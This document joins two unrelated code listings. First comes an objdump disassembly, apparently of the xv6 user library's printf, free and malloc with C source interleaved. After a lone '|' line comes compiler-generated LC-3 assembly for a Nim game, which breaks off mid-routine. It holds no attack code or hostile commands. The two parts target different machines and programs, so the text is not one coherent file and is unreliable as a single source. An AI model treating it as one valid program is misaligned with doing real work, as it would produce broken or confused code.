555: e8 78 fd ff ff call 2d2 <write>
while(*s != 0){
55a: 0f b6 06 movzbl (%esi),%eax
55d: 83 c4 10 add $0x10,%esp
560: 84 c0 test %al,%al
562: 75 e4 jne 548 <printf+0x148>
564: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
567: 31 ff xor %edi,%edi
569: e9 da fe ff ff jmp 448 <printf+0x48>
56e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: e9 73 ff ff ff jmp 4f2 <printf+0xf2>
57f: 90 nop
write(fd, &c, 1);
580: 83 ec 04 sub $0x4,%esp
583: 88 5d e5 mov %bl,-0x1b(%ebp)
586: 8d 45 e5 lea -0x1b(%ebp),%eax
589: 6a 01 push $0x1
58b: e9 21 ff ff ff jmp 4b1 <printf+0xb1>
putc(fd, *ap);
590: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
593: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
596: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
598: 6a 01 push $0x1
ap++;
59a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
59d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5a0: 8d 45 e4 lea -0x1c(%ebp),%eax
5a3: 50 push %eax
5a4: ff 75 08 pushl 0x8(%ebp)
5a7: e8 26 fd ff ff call 2d2 <write>
ap++;
5ac: 89 7d d4 mov %edi,-0x2c(%ebp)
5af: 83 c4 10 add $0x10,%esp
state = 0;
5b2: 31 ff xor %edi,%edi
5b4: e9 8f fe ff ff jmp 448 <printf+0x48>
s = "(null)";
5b9: bb 7f 07 00 00 mov $0x77f,%ebx
while(*s != 0){
5be: b8 28 00 00 00 mov $0x28,%eax
5c3: e9 72 ff ff ff jmp 53a <printf+0x13a>
5c8: 66 90 xchg %ax,%ax
5ca: 66 90 xchg %ax,%ax
5cc: 66 90 xchg %ax,%ax
5ce: 66 90 xchg %ax,%ax
000005d0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5d0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d1: a1 30 0a 00 00 mov 0xa30,%eax
{
5d6: 89 e5 mov %esp,%ebp
5d8: 57 push %edi
5d9: 56 push %esi
5da: 53 push %ebx
5db: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5de: 8d 4b f8 lea -0x8(%ebx),%ecx
5e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5e8: 39 c8 cmp %ecx,%eax
5ea: 8b 10 mov (%eax),%edx
5ec: 73 32 jae 620 <free+0x50>
5ee: 39 d1 cmp %edx,%ecx
5f0: 72 04 jb 5f6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f2: 39 d0 cmp %edx,%eax
5f4: 72 32 jb 628 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
5f6: 8b 73 fc mov -0x4(%ebx),%esi
5f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5fc: 39 fa cmp %edi,%edx
5fe: 74 30 je 630 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
600: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
603: 8b 50 04 mov 0x4(%eax),%edx
606: 8d 34 d0 lea (%eax,%edx,8),%esi
609: 39 f1 cmp %esi,%ecx
60b: 74 3a je 647 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
60d: 89 08 mov %ecx,(%eax)
freep = p;
60f: a3 30 0a 00 00 mov %eax,0xa30
}
614: 5b pop %ebx
615: 5e pop %esi
616: 5f pop %edi
617: 5d pop %ebp
618: c3 ret
619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
620: 39 d0 cmp %edx,%eax
622: 72 04 jb 628 <free+0x58>
624: 39 d1 cmp %edx,%ecx
626: 72 ce jb 5f6 <free+0x26>
{
628: 89 d0 mov %edx,%eax
62a: eb bc jmp 5e8 <free+0x18>
62c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
630: 03 72 04 add 0x4(%edx),%esi
633: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
636: 8b 10 mov (%eax),%edx
638: 8b 12 mov (%edx),%edx
63a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
63d: 8b 50 04 mov 0x4(%eax),%edx
640: 8d 34 d0 lea (%eax,%edx,8),%esi
643: 39 f1 cmp %esi,%ecx
645: 75 c6 jne 60d <free+0x3d>
p->s.size += bp->s.size;
647: 03 53 fc add -0x4(%ebx),%edx
freep = p;
64a: a3 30 0a 00 00 mov %eax,0xa30
p->s.size += bp->s.size;
64f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
652: 8b 53 f8 mov -0x8(%ebx),%edx
655: 89 10 mov %edx,(%eax)
}
657: 5b pop %ebx
658: 5e pop %esi
659: 5f pop %edi
65a: 5d pop %ebp
65b: c3 ret
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000660 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 57 push %edi
664: 56 push %esi
665: 53 push %ebx
666: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
669: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
66c: 8b 15 30 0a 00 00 mov 0xa30,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
672: 8d 78 07 lea 0x7(%eax),%edi
675: c1 ef 03 shr $0x3,%edi
678: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
67b: 85 d2 test %edx,%edx
67d: 0f 84 9d 00 00 00 je 720 <malloc+0xc0>
683: 8b 02 mov (%edx),%eax
685: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
688: 39 cf cmp %ecx,%edi
68a: 76 6c jbe 6f8 <malloc+0x98>
68c: 81 ff 00 10 00 00 cmp $0x1000,%edi
692: bb 00 10 00 00 mov $0x1000,%ebx
697: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
69a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6a1: eb 0e jmp 6b1 <malloc+0x51>
6a3: 90 nop
6a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6aa: 8b 48 04 mov 0x4(%eax),%ecx
6ad: 39 f9 cmp %edi,%ecx
6af: 73 47 jae 6f8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6b1: 39 05 30 0a 00 00 cmp %eax,0xa30
6b7: 89 c2 mov %eax,%edx
6b9: 75 ed jne 6a8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6bb: 83 ec 0c sub $0xc,%esp
6be: 56 push %esi
6bf: e8 76 fc ff ff call 33a <sbrk>
if(p == (char*)-1)
6c4: 83 c4 10 add $0x10,%esp
6c7: 83 f8 ff cmp $0xffffffff,%eax
6ca: 74 1c je 6e8 <malloc+0x88>
hp->s.size = nu;
6cc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6cf: 83 ec 0c sub $0xc,%esp
6d2: 83 c0 08 add $0x8,%eax
6d5: 50 push %eax
6d6: e8 f5 fe ff ff call 5d0 <free>
return freep;
6db: 8b 15 30 0a 00 00 mov 0xa30,%edx
if((p = morecore(nunits)) == 0)
6e1: 83 c4 10 add $0x10,%esp
6e4: 85 d2 test %edx,%edx
6e6: 75 c0 jne 6a8 <malloc+0x48>
return 0;
}
}
6e8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6eb: 31 c0 xor %eax,%eax
}
6ed: 5b pop %ebx
6ee: 5e pop %esi
6ef: 5f pop %edi
6f0: 5d pop %ebp
6f1: c3 ret
6f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
6f8: 39 cf cmp %ecx,%edi
6fa: 74 54 je 750 <malloc+0xf0>
p->s.size -= nunits;
6fc: 29 f9 sub %edi,%ecx
6fe: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
701: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
704: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
707: 89 15 30 0a 00 00 mov %edx,0xa30
}
70d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
710: 83 c0 08 add $0x8,%eax
}
713: 5b pop %ebx
714: 5e pop %esi
715: 5f pop %edi
716: 5d pop %ebp
717: c3 ret
718: 90 nop
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
720: c7 05 30 0a 00 00 34 movl $0xa34,0xa30
727: 0a 00 00
72a: c7 05 34 0a 00 00 34 movl $0xa34,0xa34
731: 0a 00 00
base.s.size = 0;
734: b8 34 0a 00 00 mov $0xa34,%eax
739: c7 05 38 0a 00 00 00 movl $0x0,0xa38
740: 00 00 00
743: e9 44 ff ff ff jmp 68c <malloc+0x2c>
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
750: 8b 08 mov (%eax),%ecx
752: 89 0a mov %ecx,(%edx)
754: eb b1 jmp 707 <malloc+0xa7>
|
.Orig x3000
INIT_CODE
LEA R6, #-1
ADD R5, R6, #0
ADD R6, R6, R6
ADD R6, R6, R6
ADD R6, R6, R5
ADD R6, R6, #-1
ADD R5, R5, R5
ADD R5, R6, #0
LD R4, GLOBAL_DATA_POINTER
LD R7, GLOBAL_MAIN_POINTER
jsrr R7
HALT
GLOBAL_DATA_POINTER .FILL GLOBAL_DATA_START
GLOBAL_MAIN_POINTER .FILL main
;;;;;;;;;;;;;;;;;;;;;;;;;;;;printInfo;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lc3_printInfo
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #14
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #4
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
str R3, R7, #0
ADD R0, R4, #9
LDR R0, R0, #0
JMP R0
lc3_L4_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #11
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #1
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R7, R4, #4
ldr R3, R7, #0
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #13
ldr R2, R2, #0
add R3, R3, R2
str R3, R7, #0
lc3_L5_nim
ADD R7, R4, #4
ldr R7, R7, #0
ADD R3, R4, #0
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L20
ADD R7, R4, #8
LDR R7, R7, #0
jmp R7
L20
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #9
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #1
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #4
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
str R3, R7, #0
ADD R0, R4, #11
LDR R0, R0, #0
JMP R0
lc3_L11_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #11
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #1
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R7, R4, #4
ldr R3, R7, #0
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #13
ldr R2, R2, #0
add R3, R3, R2
str R3, R7, #0
lc3_L12_nim
ADD R7, R4, #4
ldr R7, R7, #0
ADD R3, R4, #1
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L21
ADD R7, R4, #10
LDR R7, R7, #0
jmp R7
L21
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #14
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #6
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R7, R4, #4
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
str R3, R7, #0
ADD R0, R4, #13
LDR R0, R0, #0
JMP R0
lc3_L16_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #11
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #1
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R7, R4, #4
ldr R3, R7, #0
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #13
ldr R2, R2, #0
add R3, R3, R2
str R3, R7, #0
lc3_L17_nim
ADD R7, R4, #4
ldr R7, R7, #0
ADD R3, R4, #2
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L22
ADD R7, R4, #12
LDR R7, R7, #0
jmp R7
L22
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L1_nim
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;step;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lc3_step
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-3
ADD R0, R4, #7
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #7
LDR R0, R0, #0
JMP R0
lc3_L24_nim
ADD R7, R4, #3
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #13
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L46
ADD R7, R4, #15
ADD R7, R7, #2
LDR R7, R7, #0
jmp R7
L46
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #3
LDR R0, R0, #0
JMP R0
lc3_L27_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #4
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
lc3_L28_nim
ADD R0, R4, #15
ADD R0, R0, #15
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R3, R4, #5
str R7, R3, #0
ADD R0, R4, #15
ADD R0, R0, #15
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R3, R4, #6
ADD R2, R4, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #15
ADD R2, R2, #3
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R7, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R7, R3, #0
ADD R7, R4, #5
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #2
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L47
ADD R7, R4, #15
ADD R7, R7, #4
LDR R7, R7, #0
jmp R7
L47
ADD R7, R4, #6
ldr R7, R7, #0
str R7, R5, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L48
ADD R7, R4, #15
ADD R7, R7, #4
LDR R7, R7, #0
jmp R7
L48
ADD R7, R4, #0
ldr R7, R7, #0
ldr R3, R5, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L49
ADD R7, R4, #15
ADD R7, R7, #4
LDR R7, R7, #0
jmp R7
L49
ADD R7, R4, #0
ldr R3, R7, #0
ADD R2, R4, #6
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R3, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R3, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R3, R7, #0
ADD R7, R4, #3
ldr R3, R7, #0
not R3,R3
str R3, R7, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #8
LDR R0, R0, #0
JMP R0
lc3_L32_nim
ADD R7, R4, #5
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #14
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L50
ADD R7, R4, #15
ADD R7, R7, #5
LDR R7, R7, #0
jmp R7
L50
ADD R7, R4, #6
ldr R7, R7, #0
str R7, R5, #-1
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L51
ADD R7, R4, #15
ADD R7, R7, #5
LDR R7, R7, #0
jmp R7
L51
ADD R7, R4, #1
ldr R7, R7, #0
ldr R3, R5, #-1
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L52
ADD R7, R4, #15
ADD R7, R7, #5
LDR R7, R7, #0
jmp R7
L52
ADD R7, R4, #1
ldr R3, R7, #0
ADD R2, R4, #6
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R3, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R3, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R3, R7, #0
ADD R7, R4, #3
ldr R3, R7, #0
not R3,R3
str R3, R7, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #12
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #8
LDR R0, R0, #0
JMP R0
lc3_L36_nim
ADD R7, R4, #5
ldr R7, R7, #0
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #11
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRz L53
ADD R7, R4, #15
ADD R7, R7, #6
LDR R7, R7, #0
jmp R7
L53
ADD R7, R4, #6
ldr R7, R7, #0
str R7, R5, #-2
ADD R3, R4, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #15
ADD R3, R3, #12
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L54
ADD R7, R4, #15
ADD R7, R7, #6
LDR R7, R7, #0
jmp R7
L54
ADD R7, R4, #2
ldr R7, R7, #0
ldr R3, R5, #-2
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRnz L55
ADD R7, R4, #15
ADD R7, R7, #6
LDR R7, R7, #0
jmp R7
L55
ADD R7, R4, #2
ldr R3, R7, #0
ADD R2, R4, #6
ldr R2, R2, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R2, R6, #0
NOT R2, R2
ADD R2, R2, #1
ADD R0, R3, R2
LDR R2, R6, #0
ADD R6, R6, #1
ADD R3, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R3, R7, #0
ADD R7, R4, #3
ldr R3, R7, #0
not R3,R3
str R3, R7, #0
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #9
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #15
ADD R0, R0, #15
ADD R0, R0, #3
LDR R0, R0, #0
jsrr R0
ADD R0, R4, #15
ADD R0, R0, #8
LDR R0, R0, #0
JMP R0
lc3_L40_nim
ADD R7, R4, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #15
ADD R7, R7, #13
